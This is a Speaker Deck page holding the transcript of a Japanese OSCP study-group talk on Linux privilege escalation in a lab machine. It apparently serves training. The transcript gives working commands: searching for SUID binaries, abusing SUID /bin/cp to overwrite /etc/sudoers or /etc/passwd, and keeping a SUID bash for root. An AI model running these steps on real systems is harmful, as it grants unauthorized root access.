Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
Linuxでの権限昇格 / Privilege Escalation in Linux
Search
tkito
March 24, 2023
Technology
0
680
Linuxでの権限昇格 / Privilege Escalation in Linux
2023/03/24に開催されたOSCP勉強会のLT資料(軽量版)です。
https://off-sec-lab.connpass.com/event/276425/
tkito
March 24, 2023
Tweet
Share
More Decks by tkito
See All by tkito
Boot2Rootをやろう / Let's play Boot2Root
tkito
0
750
Re: SQLiから始めるRCE生活 / RCE via SQLi
tkito
0
250
権限昇格がんばるぞい LinPEAS編 / Privilege escalation using LinPEAS
tkito
1
2.4k
SOC-IRとOSCP / SOC-IR and OSCP
tkito
0
100
Other Decks in Technology
See All in Technology
完全自律型AIエージェントとAgentic Workflow〜ワークフロー構築という現実解
pharma_x_tech
0
350
Building Scalable Backend Services with Firebase
wisdommatt
0
110
FODにおけるホーム画面編成のレコメンド
watarukudo
PRO
2
280
「隙間家具OSS」に至る道/Fujiwara Tech Conference 2025
fujiwara3
7
6.5k
RubyでKubernetesプログラミング
sat
PRO
4
160
When Windows Meets Kubernetes…
pichuang
0
300
Git scrapingで始める継続的なデータ追跡 / Git Scraping
ohbarye
5
490
デジタルアイデンティティ人材育成推進ワーキンググループ 翻訳サブワーキンググループ 活動報告 / 20250114-OIDF-J-EduWG-TranslationSWG
oidfj
0
540
Docker Desktop で Docker を始めよう
zembutsu
PRO
0
170
自社 200 記事を元に整理した読みやすいテックブログを書くための Tips 集
masakihirose
2
330
KMP with Crashlytics
sansantech
PRO
0
240
2025年に挑戦したいこと
molmolken
0
160
Featured
See All Featured
Measuring & Analyzing Core Web Vitals
bluesmoon
5
210
How GitHub (no longer) Works
holman
312
140k
Six Lessons from altMBA
skipperchong
27
3.6k
Documentation Writing (for coders)
carmenintech
67
4.5k
The Web Performance Landscape in 2024 [PerfNow 2024]
tammyeverts
3
360
How To Stay Up To Date on Web Technology
chriscoyier
790
250k
A better future with KSS
kneath
238
17k
Code Review Best Practice
trishagee
65
17k
How to Ace a Technical Interview
jacobian
276
23k
Why Our Code Smells
bkeepers
PRO
335
57k
Creating an realtime collaboration tool: Agile Flush - .NET Oxford
marcduiker
26
1.9k
10 Git Anti Patterns You Should be Aware of
lemiorhan
PRO
656
59k
Transcript
Linuxでの権限昇格 2023/03/24 OSCP勉強会 きとう
自己紹介 なまえ • きとう、てきとう、tkito • Twitter: @tkito しゅみ • ゲームしたり海に潜ったり徳を積んだり
2 おしごと • 企業でSOCの中の人とかIRとか Linuxでの権限昇格
おことわり Linuxでの権限昇格 3 OSCP(PEN-200)勉強中の者が学んだ内容を 発表するものです どうかマサカリはおしまいください でも間違いがあったら教えてください
権限昇格 非特権ユーザーから特権ユーザーになること • 非特権ユーザー • 一般ユーザーのこと • 特権ユーザー • 一般ユーザーができないことをできる高い権限を持ったユーザー
• Linuxだとroot • WindowsだとAdministratorとかSYSTEM • 今回はLinuxでのお話 Linuxでの権限昇格 4
offsec-1-overtureにおける権限昇格 root権限のユーザを追加 Linuxでの権限昇格 5 /bin/cpに SUIDビット SUIDの立った プログラムの探索 /bin/cpで /etc/passwdを上書き
root権限を持った ユーザを追加した passwdを用意 追加した ユーザでログイン 昇格!
offsec-1-overtureにおける権限昇格 むずかしくない…? Linuxでの権限昇格 6 /bin/cpに SUIDビット SUIDの立った プログラムの探索 /bin/cpで /etc/passwdを上書き
root権限を持った ユーザを追加した passwdを用意 追加した ユーザでログイン 昇格! • ここすごい閃きだと思う • /bin/cpじゃなくて別のだったら? パターン整理していくと何か知見が 得られるかも!?
権限昇格に使われる手法の整理 権限昇格までの手順をパーツに分けてパターンを整理してみる(WIP) Linuxでの権限昇格 7 ここに至るパスを 考えていけばいい
Linuxでの権限昇格 8 ①/bin/cpにSUID ②ファイル書込可 ③/etc/passwdに追加 ④ログイン ⑤昇格完了
offsec-1-overture 別解 攻略の流れ • find / -type f -perm –u=s
2>/dev/null SUIDビットの立ったプログラムを探索 /bin/cpを確認 • cp /etc/sudoers /tmp/ /etc/sudoersをコピー • cat /tmp/sudoers > /tmp/sudoers2 編集のために自分をownerに • echo “apache ALL=NOPASSWD:ALL” >> /tmp/sudoers2 Pass無しでsudoできる魔法の言葉 • cp /tmp/sudoers2 /etc/sudoers /etc/sudoersに書き戻し • sudo su – sudoでrootに • cat /root/flag.txt フラグゲット Linuxでの権限昇格 9
Linuxでの権限昇格 10
offsec-1-overture 別解(邪道) 攻略の流れ • find / -type f -perm –u=s
2>/dev/null SUIDビットの立ったプログラムを探索 /bin/cpを確認 • cp -rv /root /tmp/ /rootをごっそりコピー • cat /tmp/root/flag.txt フラグゲット • CTFならいいけどOSCPではダメ Linuxでの権限昇格 11
おまけ SUIDを使って直接root権限を得る方法(overtureの攻略には使えない) • [*rootで*] • cp /bin/bash /tmp/bash bashをコピーして •
chmod u+s /tmp/bash SUIDを立てる • [*non-rootで*] • /tmp/bash -p euid(effective uid)が0になりrootと同じ権限を得る • でもrootでコマンド実行させられる状況ならreverse shell使った方がいい気が… Linuxでの権限昇格 12
まとめ • 権限昇格へのパスを一発で思いつける人すごいな! • Linuxでの権限昇格までの手順をパーツに分けて整理してみた(WIP) • 取り掛かりポイントが見つかったら権限昇格に向かって辿っていくとパスが出る • overtureの別解紹介 •
パターン拡充していこう • Windowsでもやってみようか • みなさんのやり方とか工夫とか教えてください Linuxでの権限昇格 13
おしまい きとう @tkito 14